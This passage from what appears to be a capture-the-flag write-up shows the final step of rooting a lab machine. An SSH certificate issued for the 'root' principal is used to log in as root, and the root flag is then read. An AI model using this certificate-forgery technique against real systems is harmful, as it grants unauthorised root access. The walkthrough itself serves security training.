ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAIEPYJl0+InbBDz2O0+Ou6SSpECjzMNU2olxpj3486rSAAAAAIMso+6qoP7lLchKlsEtTerYJMX91+Tw4Sun1ObtFvBJOAAAAAAAAAAAAAAABAAAABDB4ZGYAAAAIAAAABHJvb3QAAAAAAAAAAP//////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAAhcAAAAHc3NoLXJzYQAAAAMBAAEAAAIBALqXE1LMlAVTcr/QUspyLUFmv4cvVRNDjnLyfOW7S1VoIVyW4RlnI+7fCALhdsIaaKGbzDKgGAlcjoFnJFOmLOYclkCM2a+L2dxShLTpGmX6gC/wTca6B1xCiCVI/s16bQmemYeg4v8W1K1oo9O2gRgdZzetV3pgEZ9cKsXSUSAWxBzAU4uQ+hLfkh2dmpyPe8G3PsCyh3aqJbO2TqXZQeNnKtQpTGJERFeyvu421j3FKADUKWFl3HcxQTWKe2RtSB0ULXJhdL6Wy+VQP83nhhgtIofsZWwwXNX9xazGDHzP0J+AO9L4zQFVGsaIROZxjWMAs5OWfs8KcuXa8LVGvSPtu2730NisuZiPgv06AqMd5fsidVAIaehEdalOHKndaZ2daiCECLIAu6Ivf1ddCl6fa3sZB37NPlBu/YektbiG5Upehj7bYpJtWwCEUB7GBnLTh/EpnDozljPMgDbwlachd0JvF1iFWbxDOWcocSEjYnVP/3CtS8EVBATGZeu38ceYlmuM1+OR3i1SxqsuUA0nuKU0w1LOTdC4mna3YjsgE7ok7x5C3mMQVI9u0hq/27y8+xMsxGMx+umrGIAD5UCjPN45hksSEJZq1ZNDDrDOmdv36p8ChCPWQaE9N6U62Z0vHx0m2pLDk7gcwCGWci2OqvGvnv7ffcWDWJqoG+yZAAACFAAAAAxyc2Etc2hhMi01MTIAAAIAYN6pzXs5aeUemv4Z4bUgFCeM6EGrl5ViVMccrIgp+4oYJZKoFy1ArpeGrlSxldyt5R6gB0hexE/TbfMNHUJ60OP9nNLwj8iPBI7NDW19bVC01QB3T9XaRoHafKVS9x+pkU7yympIckFWxrlHU1Ts4jlKpG7hchmTidmM4WERiCwWaxDoUD1axaNqHmXdI9+QR6oZ8FTrwrcy5Gr+PNjTfUZ0RSnZDFhkyuONoya3s8jehBioKzLLZHD0ZMPNKjYqCyWSeFiBumpMrYlWz5LHMl3gobQCLA8tXUeg1cBcQ14PeUSQ2soNyI4bvVnxvRbuUfivRkwYurVpZii5+sPK6UlW1ED2+CsbVN1OZ6hr8+8DCrAyJ9f+DcFNFGBjATiw387FKNmwgyPVoWiLadwDAPekf6RH9N98hIC093rKXcqNnZmqdSIfWmOYTEGdHknJa+cijAfBKTCVT1GzDPCrl+PJkYIgRJzdgZkKI49ZF6pznhp+llP9nCZ/69V2sjL6mXrPBj7JiYs67UVYyWTEFXYKRtnxSzHIjh4POHTACdpR71hVNqbYfxwSJUf0JYN1wXvgVxmvNVSnlKYtTDy2Wu9+/cSQX6m/qDjiQqnu3ptqWZkjBt+5c+ffQYdSJ4D2i3wc2fplyPh+qxqEFzol1IYLR/Jb9DkC03BBHA7mkBY= oxdf@hacky
Now that key works to SSH as root:
oxdf@hacky$ ssh -i root-ssh root@10.129.11.207
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@principal:~#
And get root.txt:
root@principal:~# cat root.txt
d3cc5c3a************************
